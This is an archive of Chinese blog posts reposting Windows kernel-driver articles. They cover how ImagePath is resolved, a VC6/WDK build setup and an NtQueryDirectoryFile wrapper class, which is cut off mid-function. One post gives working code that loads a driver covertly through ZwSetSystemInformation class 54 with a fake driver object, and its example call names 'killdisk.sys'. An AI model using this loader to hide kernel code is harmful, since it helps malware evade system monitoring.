显示标签为“驅動編程”的博文。显示所有博文
显示标签为“驅動編程”的博文。显示所有博文

2011年10月1日星期六

[轉載]Windows處理驅動Path流程


作 者: boywhp
時 間: 2011-08-31,15:50:13
鏈接: http://bbs.pediy.com/showthread.php?t=139566

昨天寫了一個類似SC查詢驅動服務的信息的程序,發現獲取到的路徑ImagePath是\??\c:\xxxxx,導致我用CreateFile什麼的函數,居然失敗!就比較好奇windows是怎麼處理驅動服務一類的路徑處理。我知道windows是在註冊表中記錄的啟動服務信息,直接用註冊表打開查看如下:


注意其中的ImagePath,我發現大致有好幾種情況:
1、 無ImagePath項
2、 system32\xxxxxxxx
3、 \??\c:\xxxxxx
4、 %SystemRoot%xxxxxx
我想了解的是windows驅動服務是怎麼處理這玩意的,既然是驅動最終會調用NtLoadDriver函數
NTSTATUS NtLoadDriver ( __in PUNICODE_STRING DriverServiceName )
直接Windbg啟動調試 bp NtLoadDriver


fa06fa2c fa06fa38 80821a99 nt!NtLoadDriver+0x143
fa06fa2c fa06fa38 80821a99 nt!KiFastCallEntry+0xf8
fa06fa2c 815d5828 815b08e8 nt!ZwLoadDriver+0x11
817c7030 815d5770 fa06fab8 NDIS!ndisPnPDispatch+0x3ad

哦,NDIS不錯哦,還可以加載驅動,呵呵,相關興趣的可以IDA研究下,下面是我發現的一些非常規驅動加載列表[2003 server]:


1 "\Registry\Machine\System\CurrentControlSet\Services\Gpc"
fa01fa20 fa01fa3c 80821a99 nt!NtLoadDriver
fa01fa20 fa01fa3c 80821a99 nt!KiFastCallEntry+0xf8
fa01fa20 8142e000 8089547a nt!ZwLoadDriver+0x11
f96454b8 8142e000 8089547a ipsec!GpcInitialize+0x7f
00000000 8081dceb 815142f0 ipsec!IPSecGpcInitialize+0x35
815142f0 e12a75dc 00000000 ipsec!IPSecGeneralInit+0x168
815142f0 81430000 e144aa30 ipsec!DriverEntry+0x104
000000ec 00000001 00000000 nt!IopLoadDriver+0x689
00000000 00043000 00000000 nt!IopInitializeSystemDrivers+0x16d
00000000 00000000 8179d740 nt!IoInitSystem+0x6ad
80087000 fa01fddc 80905b5b nt!Phase1InitializationDiscard+0x9cf
80087000 00000000 00000000 nt!Phase1Initialization+0xd
808c9f21 80087000 00000000 nt!PspSystemThreadStartup+0x2e
00000000 00000000 00000000 nt!KiThreadStartup+0x16

2 "\Registry\Machine\System\CurrentControlSet\Services\WANARP"
f9948bdc f9948bf4 80821a99 nt!NtLoadDriver
f9948bdc f9948bf4 80821a99 nt!KiFastCallEntry+0xf8
f9948bdc 00000000 81503dd0 nt!ZwLoadDriver+0x11
f9948c8c f9948c1c 8160d2dc tcpip!IPBindAdapter+0xf2
80a719b0 80a71988 f99a7534 NDIS!ndisInitializeBinding+0x189
f99a53bc 00000000 81503e60 NDIS!ndisCheckAdapterBindings+0xd9
81503dd0 00000000 81289db0 NDIS!ndisCheckProtocolBindings+0xd2
81503e50 00000000 00000000 NDIS!ndisWorkerThread+0x74
f99a8a41 81503e50 00000000 nt!PspSystemThreadStartup+0x2e
00000000 00000000 00000000 nt!KiThreadStartup+0x16

3 "\Registry\Machine\System\CurrentControlSet\Services\Cdfs"
f9948974 f994897c 80821a99 nt!NtLoadDriver
f9948974 f994897c 80821a99 nt!KiFastCallEntry+0xf8
f9948974 81751200 814861d0 nt!ZwLoadDriver+0x11
c000010e f9f0439e 814861d0 Fs_Rec!FsRecLoadFileSystem+0x4f
814861d0 81751200 8163bad8 Fs_Rec!CdfsRecFsControl+0x29
814861d0 81751200 814861d0 Fs_Rec!FsRecFsControl+0x75
81668680 808a73a0 815fa8f8 nt!IofCallDriver+0x45
814861d0 80a71908 815fa8f8 nt!IopLoadFileSystemDriver+0x62
c000019c 8163cd00 00000000 nt!IopMountVolume+0x2cc
8163cd20 815fa800 f9948b9c nt!IopCheckVpbMounted+0x54
815fa8f8 00000000 81533c60 nt!IopParseDevice+0x3d4
00000000 f9948c18 00000040 nt!ObpLookupObjectName+0x5b0
00000000 00000000 0007ff01 nt!ObOpenObjectByName+0xea
0015fe0c 00100180 0015fdd0 nt!IopCreateFile+0x447
0015fe0c 00100180 0015fdd0 nt!IoCreateFile+0xa3
0015fe0c 00100180 0015fdd0 nt!NtOpenFile+0x27
0015fe0c 00100180 0015fdd0 nt!KiFastCallEntry+0xf8
WARNING: Stack unwind information not available. Following frames may be wrong.
7c959e17 4858d650 7c958270 ntdll+0x285fe
00000000 7c94a469 00000000 0x48584401
ffffffff 4858afe8 48582f48 0x485894ec

4 "\Registry\Machine\System\CurrentControlSet\Services\tdtcp"
f7ed2b4c f7ed2b6c 80821a99 nt!NtLoadDriver
f7ed2b4c f7ed2b6c 80821a99 nt!KiFastCallEntry+0xf8
f7ed2b4c f9db12e8 8118bf78 nt!ZwLoadDriver+0x11
8127b178 f7ed2b88 81182258 termdd!_IcaLoadSdWorker+0x11b
8118225c f7ed2ba8 811c29e8 termdd!_IcaLoadSd+0x8b
811c29e8 81182258 8122cf68 termdd!_IcaPushStack+0x7b
811c29e8 8122cf68 8122cfd8 termdd!IcaDeviceControlStack+0x11f
8122cf68 8122cfd8 8122cf68 termdd!IcaDeviceControl+0x4e
81617f10 8122cf68 8151db90 termdd!IcaDispatch+0x12a
8122cfd8 ffa7ed10 8122cf68 nt!IofCallDriver+0x45
81617f10 8122cf68 ffa7ed10 nt!IopSynchronousServiceTail+0x10b
00000208 00000000 00000000 nt!IopXxxControlFile+0x60f
00000208 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
00000208 00000000 00000000 nt!KiFastCallEntry+0xf8
WARNING: Stack unwind information not available. Following frames may be wrong.
00000208 0038002b 0250fa18 ntdll+0x285fe
000a0498 0038002b 0250fa18 0x74cd166f
000a0498 0038002b 0250fa18 0x74cd16b4
000be2f0 000a0498 0038002b 0x764a0759
000a0498 0038002b 0250fa18 0x74cd16fe
00000000 00000000 808466ca 0x74cd17cf
以及"\Registry\Machine\System\CurrentControlSet\Services\rdpwd"

然後是NtLoadDriver -> IopLoadUnloadDriver -> IopLoadDriver->IopBuildFullDriverPath

NTSTATUS
IopBuildFullDriverPath(
    IN PUNICODE_STRING KeyName,
    IN HANDLE KeyHandle,
    OUT PUNICODE_STRING FullPath
    )
這里處理了下註冊表路徑,具體WRK代碼如下

代碼:
    status = IopGetRegistryValue( KeyHandle,
                                  L"ImagePath",
                                  &keyValueInformation);
    if (NT_SUCCESS(status) && keyValueInformation->DataLength) {
        nameLength = keyValueInformation->DataLength - sizeof(WCHAR);
        name = (PWCHAR)KEY_VALUE_DATA(keyValueInformation);
        if (name[0] != L'\\') {
            path = L"\\SystemRoot\\";
            pathLength = sizeof(L"\\SystemRoot\\") - sizeof(UNICODE_NULL);
        } else {
            path = NULL;
        }
        ext = NULL;
    } else {
        nameLength = KeyName->Length;
        name = KeyName->Buffer;
        pathLength = sizeof(L"\\SystemRoot\\System32\\Drivers\\") - sizeof(UNICODE_NULL);
        path = L"\\SystemRoot\\System32\\Drivers\\";
        extLength = sizeof(L".SYS") - sizeof(UNICODE_NULL);
        ext = L".SYS";
}
  1、如果沒有ImagePath項目就在”\SystemRoot\System32\Drivers\” + BaseName.sys 找
  2、如何ImagePath = 是'\'開頭,=ImagePath
        3、如果不是'\'開頭path = “\SystemRoot\” + ImagePath

這裡SystemRoot我比較好奇,想看看系統是怎麼處理這個路徑的,繼續:
IopLoadDriver 會調用MmLoadSystemImage-> ZwOpenFile->NtOpenFile

bp NtOpenFile命中
kd> dt !_OBJECT_ATTRIBUTES fa06f734
nt!_OBJECT_ATTRIBUTES
   +0x000 Length : 0x18
   +0x004 RootDirectory : (null)
   +0x008 ObjectName : 0xfa06f888 _UNICODE_STRING "\SystemRoot\System32\Drivers\NDProxy.SYS"
   +0x00c Attributes : 0x240
   +0x010 SecurityDescriptor : (null)
   +0x014 SecurityQualityOfService : (null)
繼續跟踪->IopCreateFile->ObOpenObjectByName->ObpLookupObjectName


代碼:
ParseFromRoot:
if (DeviceMap != NULL) {
ObfDereferenceDeviceMap(DeviceMap);
DeviceMap = NULL;
}

if (!((ULONG_PTR)(ObjectName->Buffer) & (sizeof(ULONGLONG)-1))) {
//
// Check if the object name is actually equal to the
// global dos devices short name prefix "\??\"
//

if ((ObjectName->Length >= ObpDosDevicesShortName.Length)
                        &&
(*(PULONGLONG)(ObjectName->Buffer) == ObpDosDevicesShortNamePrefix.Alignment.QuadPart)) {
  XXXXXXXXXXXXXXXXXXXX
}
其ObpXxxx定義如下:

代碼:
const ALIGNEDNAME ObpDosDevicesShortNamePrefix = { L'\\',L'?',L'?',L'\\' }; // L"\??\"
const ALIGNEDNAME ObpDosDevicesShortNameRoot = { L'\\',L'?',L'?',L'\0' }; // L"\??"
const UNICODE_STRING ObpDosDevicesShortName = {
    sizeof(ObpDosDevicesShortNamePrefix),
    sizeof(ObpDosDevicesShortNamePrefix),
    (PWSTR)&ObpDosDevicesShortNamePrefix
};
隨便問一下if (!((ULONG_PTR)(ObjectName->Buffer) & (sizeof(ULONGLONG)-1)))是要求64字節對齊嗎?
大致流程是:
如果是\??\開頭的直接獲取RootDirectory,否則需要解析root目錄,通過下面函數
PVOID
ObpLookupDirectoryEntry (
    IN POBJECT_DIRECTORY Directory,
    IN PUNICODE_STRING Name,
    IN ULONG Attributes,
    IN BOOLEAN SearchShadow,
    OUT POBP_LOOKUP_CONTEXT LookupContext
)
bp ObpLookupDirectoryEntry命中:
kd> dd esp
fa06f3ec 80902d75 e1000700 fa06f410 00000240
kd> dt !_UNICODE_STRING fa06f410
nt!_UNICODE_STRING
 "SystemRoot"
   +0x000 Length : 0x14
   +0x002 MaximumLength : 0xf8
   +0x004 Buffer : 0xe12c4d62 "SystemRoot"
我們關心的SystemRoot出現了,大致看了下,居然就是計算了SystemRoot字符串的hash! ! !然後估計就是查表,其hash算法為:

代碼:
    HashIndex = 0;

    while (WcharLength--) {
        Wchar = *Buffer++;
        HashIndex += (HashIndex << 1) + (HashIndex >> 1);

        if (Wchar < 'a') {
            HashIndex += Wchar;
        } else if (Wchar > 'z') {
            HashIndex += RtlUpcaseUnicodeChar( (WCHAR)Wchar );
        } else {
            HashIndex += (Wchar - ('a'-'A'));
        }
    }

    HashValue = HashIndex;
    HashIndex %= NUM​​BER_HASH_BUCKETS;
#define NUMBER_HASH_BUCKETS 37
好像大致是一個hash目錄表,首先簡單的通過hash快速查找,對應的37個鍊錶之1,然後遍歷鍊錶比較名稱是否為SystemRoot。
在WRK中搜索"SystemRoot",發現其在Initos.c的CreateSystemRootLink函數中被初始化創建符號鏈接

代碼:
    //
    // Create the symbolic link to the root of the system directory.
    //

    RtlInitAnsiString( &linkString, INIT_SYSTEMROOT_LINKNAME );

    status = RtlAnsiStringToUnicodeString( &linkUnicodeString,
                                           &linkString,
                                           TRUE);
    InitializeObjectAttributes( &objectAttributes,
                                &linkUnicodeString,
                                OBJ_CASE_INSENSITIVE | OBJ_PERMANENT,
                                NULL,
                                SePublicDefaultUnrestrictedSd );
。 。 。 。 。 。
    status = NtCreateSymbolicLinkObject( &linkHandle,
                                         SYMBOLIC_LINK_ALL_ACCESS,
                                         &objectAttributes,
                                         &deviceNameUnicodeString );

#define INIT_SYSTEMROOT_LINKNAME "\\SystemRoot"
至此,大致了解了這個路徑的處理過程,至於我的問題應該可以很好的使用ZwOpenFile還處理,因為操作系統本身也是直接調用ZwOpenFile,或者直接把\??\過濾掉得了。

2011年9月30日星期五

[轉載]最新驅動WDK7600在VC6.0下的編譯開發配置環境


作者:wingdbg
網上找了很多資料,都不好使。相信有很多像我一樣偏好VC6.0的傢伙,最新的WDK真的用不了麼?必須可以! ! !

    開始之前要一定要明確一件事情,單獨使用WDK+記事本就可以開發驅動,和VC的編譯器耗無關係,而使用VC的唯一目的,就是把它當作超級記事本,這樣可以省去自己維護Makefile的麻煩,並且擁有IDE的其他各種便捷。


1.安裝好VC6和DWK,先後順序無關。
    從開始菜單找到WDK的程序目錄,進入“Windows XP Checked Build Environment”,輸入命令"build",此時WDK將會把自己進行編譯,大約需要1分鐘。

2.VC6設置Include/Lib/Executable目錄。
    設置為自己需要編譯的平台的各個目錄即可, Include要確保找到ntddk.h等,Lib與Include對應,Executable 要確保能找到cl.exe
例如XP平台下設置為:

include包含部分:

C:\WinDDK\7600.16385.1\inc\ddk
C:\WinDDK\7600.16385.1\inc\api
C:\WinDDK\7600.16385.1\inc\crt


lib連接庫包含部分:

C:\WINDDK\7600.16385.1\LIB\WXP\I386
C:\WINDDK\7600.16385.1\LIB\WIN7\I386


執行文件包含:

C:\WINDDK\7600.16385.1\BIN
C:\WINDDK\7600.16385.1\BIN\X86
C:\WinDDK\7600.16385.1\bin\x86\x86

對於VC原有的路徑,Include 和Lib建議都刪除掉,而Executable則將你新加的置頂,順序不能錯。其余建議保留(雖然編譯驅動不會使用VC的Bin目錄下的ml.exe、link.exe 等,但vc的代碼提示等功能是需要bin目錄下的一些程序來完成的,因此還是至少要保留VC原有的Bin目錄,但必須在DDK的之後)。

3.建立一個空工程,Exe或者Dll都可以,然後直接修改工程屬性:

要改的地方不少,描述各個選項還不如直接記錄個文本的,清空C/C++和Link下面的Option文本框,按下面的填寫。

C/C++ 選項填寫:
/nologo /Gz /MLd /W3 /WX /Z7 /Od /D WIN32=100 /D _X86_=1 /D WINVER=0x500 /D DBG=1 /Fo"MyDriver_Check/" /Fd"MyDriver_Check/" /FD /c

LINK 選項填寫:
    NT式驅動為
ntoskrnl.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"MyDriver_Check/HelloDDK.pdb" /map:"MyDriver_Check/HelloDDK.map " /debug /machine:I386 /nodefaultlib /out:"MyDriver_Check/HelloDDK.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

    WDM式驅動為

wdm.lib /nologo /base:"0x10000" /stack:0x400000,0x1000 /entry:"DriverEntry" /subsystem:console /incremental:no /pdb:"SYS_Check/HelloWDM.pdb" /debug /machine:I386 /nodefaultlib / out:"SYS_Check/HelloWDM.sys" /subsystem:native /driver /SECTION:INIT,D /RELEASE /IGNORE:4078

4.保存配置,現在給這個空工程建一個c文件,複製以下內容:

#include <ntddk.h>
NTSTATUS DriverEntry(
        IN PDRIVER_OBJECT DriverObject,
        IN PUNICODE_STRING RegistryPath
        )
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        return status;
}

編譯通過則配置成功! ! !

2011年8月8日星期一

無hook無patch 無自定義peloader 在內核加載執行驅動

作 者: cvcvxk
時 間: 2011-08-07,21:22:23


我們都知道ZwSetSystemInformation可以用參數SystemExtendServiceTableInformation(38號)加載驅動~但是這個加載驅動有很多很多麻煩與問題~
今天我來介紹的是一種全新的加載驅動的模式~~當然只能在Kernel mode來加載~只有斷斷的一個KernelAPI的使用哦~親~
現在目前說來在內核裡加載驅動的方式基本都是ZwLoadDriver,Patch 38號的Load參數,搜索使用MmLoadSystemImage,自己實現peloader等​​不方便不給力,有遺憾的方法~
現在呢,正式介紹一種全新的加載方式,使用ZwSetSystemInformation的
SystemLoadGdiDriverInSystemSpace(54號)來加載驅動,然後調用之~~
這個infoclass的結構定義,不知道DDK上有沒有~~


代碼:
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION {
        UNICODE_STRING DriverName;
        PVOID ImageAddress;
        PVOID SectionPointer;
        PVOID EntryPoint;
        PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
        ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
然後就是怎麼使用了鳥~只要對DriverName用RtlInitUnicodeString賦值就行了
(\\??\\XXXXX形式的參數或者是\\SystemRoot\\XXX形式)
具體請看代碼,代碼如下~~


代碼:
NTSTATUS SysLoad(const WCHAR *wcsFileName)
{
        SYSTEM_GDI_DRIVER_INFORMATION gdiinfo;
        NTSTATUS ns;
        PDRIVER_OBJECT pBeepObj;
        RtlZeroMemory(&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        RtlInitUnicodeString(&gdiinfo.DriverName,wcsFileName);
        ns=ZwSetSystemInformation(SystemLoadGdiDriverInSystemSpace,&gdiinfo,sizeof(SYSTEM_GDI_DRIVER_INFORMATION));
        if (NT_SUCCESS(ns))
        {
                PDRIVER_INITIALIZE InitRoutine;
                UNICODE_STRING pRegPath;
                UNICODE_STRING NameBuffer;
                UNICODE_STRING DevName;
                WCHAR buffer[60];
                InitRoutine = (PDRIVER_INITIALIZE)gdiinfo.EntryPoint;
                if (InitRoutine)
                {
                        PDRIVER_OBJECT pDriverObject;
                         _snwprintf(buffer, (sizeof(buffer) / sizeof(WCHAR)) - 1, L"\\Driver\\%08u", PsGetCurrentThreadId());
                        RtlInitUnicodeString(&NameBuffer,buffer);
                        RtlInitUnicodeString(&DevName, L"\\Driver\\Beep");
                        RtlInitUnicodeString(&pRegPath,wcsFileName);
                        ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL,
                                0, *IoDriverObjectType, KernelMode, NULL, &pBeepObj);
                        if (NT_SUCCESS(ns))
                        {
                                ns=MakeFakeDriverObject(&NameBuffer,&pDriverObject);
                                if(NT_SUCCESS(ns))
                                {
                                        pDriverObject->DriverStart=InitRoutine;
                                        pDriverObject->DriverInit=InitRoutine;
                                        pDriverObject->DriverSection=pBeepObj->DriverSection;
                                        pDriverObject->DriverSize=gdiinfo.ImageLength;
                                        ns= InitRoutine(pDriverObject,&pRegPath);
                                }
                        }
                        
                }
        }
        return ns;
}
在上面代碼裡使用了MakeFakeDriverObject來創建一個虛擬的DriverObject
這個函數代碼在這裡也貼一下~

代碼:
NTSTATUS
        IopInvalidDeviceRequest(
        IN PDEVICE_OBJECT DeviceObject,
        IN PIRP Irp
        )
{
        if ((IoGetCurrentIrpStackLocation(Irp))->MajorFunction == IRP_MJ_POWER) {
                PoStartNextPowerIrp(Irp);
        }
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        IoCompleteRequest( Irp, IO_NO_INCREMENT );
        return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS MakeFakeDriverObject(IN PUNICODE_STRING driverName,OUT PDRIVER_OBJECT* ppdriverObject)
{
        NTSTATUS status;
        ULONG i;
        OBJECT_ATTRIBUTES objectAttributes;
        PDRIVER_OBJECT driverObject;
        InitializeObjectAttributes( &objectAttributes,
                driverName,
                OBJ_PERMANENT,
                (HANDLE) NULL,
                (PSECURITY_DESCRIPTOR) NULL );
        status = ObCreateObject( ExGetPreviousMode(),
                *IoDriverObjectType,
                &objectAttributes,
                KernelMode,
                (PVOID) NULL,
                //(ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION )),//this will crash
                //because DRIVER_OBJECT is fixed but DRIVER_EXTENSION are growing bigger than ddk declared
                (ULONG) (sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION ) + 256),
                0,
                0,
                (PVOID *) ppdriverObject );
        if (!NT_SUCCESS( status ))
        {
                *ppdriverObject = NULL;
                return status;
        }
        driverObject=*ppdriverObject;
        RtlZeroMemory( driverObject, sizeof( DRIVER_OBJECT ) + sizeof ( DRIVER_EXTENSION) + 256 );
        
        driverObject->DriverExtension = (PDRIVER_EXTENSION) (driverObject + 1);
        driverObject->DriverExtension->DriverObject = driverObject;//這個DriverExtension常用,如果沒有直接慘死
        driverObject->Type = IO_TYPE_DRIVER;
        driverObject->Size = sizeof( DRIVER_OBJECT );
        driverObject->Flags = DRVO_BUILTIN_DRIVER;
        for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
                driverObject->MajorFunction[i] = IopInvalidDeviceRequest;
        _asm
        {
                        push eax
                        push ebx
                        mov eax,driverObject
                        mov eax,[eax+0x14]
                        mov ebx,[eax+0x34]
                         shr ebx,19
                        or ebx,1
                        shl ebx,19
                        mov [eax+0x34],ebx
                        pop ebx
                        pop eax
        }
        driverObject->DriverName.Buffer = ExAllocatePool( PagedPool,driverName->MaximumLength );
        if (driverObject->DriverName.Buffer)
        {
                driverObject->DriverName.MaximumLength = driverName->MaximumLength;
                driverObject->DriverName.Length = driverName->Length;
                RtlCopyMemory( driverObject->DriverName.Buffer,driverName->Buffer,driverName->MaximumLength );
        }
        return status;
}
ok這樣子就行鳥~~這些代碼只能在kernel mode加載sys哦~~親~~
就這樣子!

代碼:
SysLoad(L"\\??\\C:\\123\\killdisk.sys");

2011年8月2日星期二

C++中使用NtQueryDirectoryFile枚舉文件和文件夾

作者:腾袭
為了方便使用,我將其封裝成NtQuery類,這樣會更方便使用的!
支持UNICODE和非UNICODE的~

首先是頭文件NtQuery.h:

//NtQuery.h By 騰襲 2010-7-25
 
#ifndef _NT_QUERY_H_INCLUDE_
#define _NT_QUERY_H_INCLUDE_ 1
 
#pragma once
 
typedef struct _LSA_STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} LSA_STRING, *PLSA_STRING, ANSI_STRING, *PANSI_STRING;
 
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
 
typedef struct _IO_STATUS_BLOCK {
NTSTATUS Status;
ULONG Information;
}IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
 
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
 
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
 
//FileFullDirectoryInformation:
typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;
 
//FileBothDirectoryInformation:
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;
 
//FileNamesInformation:
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
 
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4 wdm
FileStandardInformation, // 5 wdm
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14 wdm
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20 wdm
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileIdBothDirectoryInformation, // 37
FileIdFullDirectoryInformation, // 38
FileValidDataLengthInformation, // 39
FileShortNameInformation, // 40
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
 
#ifndef SYNCHRONIZE
#define SYNCHRONIZE 0x100000
#endif
 
#ifndef FILE_ANY_ACCESS
#define FILE_ANY_ACCESS 0
#endif
 
#ifndef FILE_LIST_DIRECTORY
#define FILE_LIST_DIRECTORY 1
#endif
 
#ifndef FILE_DIRECTORY_FILE
#define FILE_DIRECTORY_FILE 1
#endif
 
#ifndef FILE_SYNCHRONOUS_IO_NONALERT
#define FILE_SYNCHRONOUS_IO_NONALERT 0x20
#endif
 
#ifndef FILE_OPEN_FOR_BACKUP_INTENT
#define FILE_OPEN_FOR_BACKUP_INTENT 0x4000
#endif
 
#ifndef OBJ_CASE_INSENSITIVE
#define OBJ_CASE_INSENSITIVE 0x40
#endif
 
typedef NTSTATUS (NTAPI *FN_NtQueryDirectoryFile)( IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PVOID ApcRoutine OPTIONAL, /*PIO_APC_ROUTINE*/
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan );
 
typedef NTSTATUS (NTAPI *FN_NtOpenFile)(
__out PHANDLE FileHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG ShareAccess,
__in ULONG OpenOptions
);
 
typedef NTSTATUS (NTAPI *FN_NtClose)(
__in HANDLE Handle
);
 
typedef void (NTAPI *FN_RtlInitUnicodeString)(
__inout PUNICODE_STRING DestinationString,
__in_opt PCWSTR SourceString
);
 
typedef void (NTAPI *FN_RtlInitAnsiString)(
__inout PANSI_STRING DestinationString,
__inout PCSTR SourceString
);
 
typedef NTSTATUS (NTAPI *FN_RtlAnsiStringToUnicodeString)(
PUNICODE_STRING DestinationString,
PANSI_STRING SourceString,
BOOLEAN AllocateDestinationString
);
 
typedef NTSTATUS (NTAPI *FN_RtlUnicodeStringToAnsiString)(
PANSI_STRING DestinationString,
PUNICODE_STRING SourceString,
BOOLEAN AllocateDestinationString
);
 
typedef void (NTAPI *FN_RtlFreeUnicodeString)(
PUNICODE_STRING UnicodeString
);
 
typedef void (NTAPI *FN_RtlFreeAnsiString)(
PANSI_STRING AnsiString
);
 
class CNtQuery
{
public:
CNtQuery(void);
virtual ~CNtQuery(void);
static bool CNtQuery::GetAddr();
static bool m_bInit;
 
HANDLE FindFirstFile(LPCTSTR strDirectory,PBYTE bytBuffer,ULONG size);
bool FindNextFile(HANDLE hFind,PBYTE bytBuffer,ULONG size);
void Enum(LPCTSTR lpszPath);
 
NTSTATUS CNtQuery::ANSI2UNICODE(LPCSTR lpBuf, PUNICODE_STRING pUnicodeString, BOOLEAN AllocateDestinationString = TRUE);
NTSTATUS CNtQuery::UNICODE2ANSI(LPCWSTR lpBuf, PANSI_STRING pAnsiString, BOOLEAN AllocateDestinationString = TRUE);
private:
static HMODULE m_hNtdll;
protected:
static FN_NtQueryDirectoryFile fn_NtQueryDirectoryFile;
static FN_NtOpenFile fn_NtOpenFile;
static FN_NtClose fn_NtClose;
static FN_RtlInitUnicodeString fn_RtlInitUnicodeString;
static FN_RtlInitAnsiString fn_RtlInitAnsiString;
static FN_RtlAnsiStringToUnicodeString fn_RtlAnsiStringToUnicodeString;
static FN_RtlUnicodeStringToAnsiString fn_RtlUnicodeStringToAnsiString;
static FN_RtlFreeUnicodeString fn_RtlFreeUnicodeString;
static FN_RtlFreeAnsiString fn_RtlFreeAnsiString;
};
 
#endif

然後是NtQuery.cpp:


//NtQuery.cpp By 騰襲 2010-7-25
 
#include "StdAfx.h"
#include "NtQuery.h"
 
HMODULE CNtQuery::m_hNtdll = NULL;
FN_NtQueryDirectoryFile CNtQuery::fn_NtQueryDirectoryFile;
FN_NtOpenFile CNtQuery::fn_NtOpenFile;
FN_NtClose CNtQuery::fn_NtClose;
FN_RtlInitUnicodeString CNtQuery::fn_RtlInitUnicodeString;
FN_RtlInitAnsiString CNtQuery::fn_RtlInitAnsiString;
FN_RtlAnsiStringToUnicodeString CNtQuery::fn_RtlAnsiStringToUnicodeString;
FN_RtlUnicodeStringToAnsiString CNtQuery::fn_RtlUnicodeStringToAnsiString;
FN_RtlFreeUnicodeString CNtQuery::fn_RtlFreeUnicodeString;
FN_RtlFreeAnsiString CNtQuery::fn_RtlFreeAnsiString;
 
bool CNtQuery::m_bInit = false;
 
bool CNtQuery::GetAddr()
{
m_hNtdll = GetModuleHandle(_T("ntdll.dll"));
if (m_hNtdll == NULL)
return false;
 
fn_NtQueryDirectoryFile = (FN_NtQueryDirectoryFile)GetProcAddress(m_hNtdll,"NtQueryDirectoryFile");
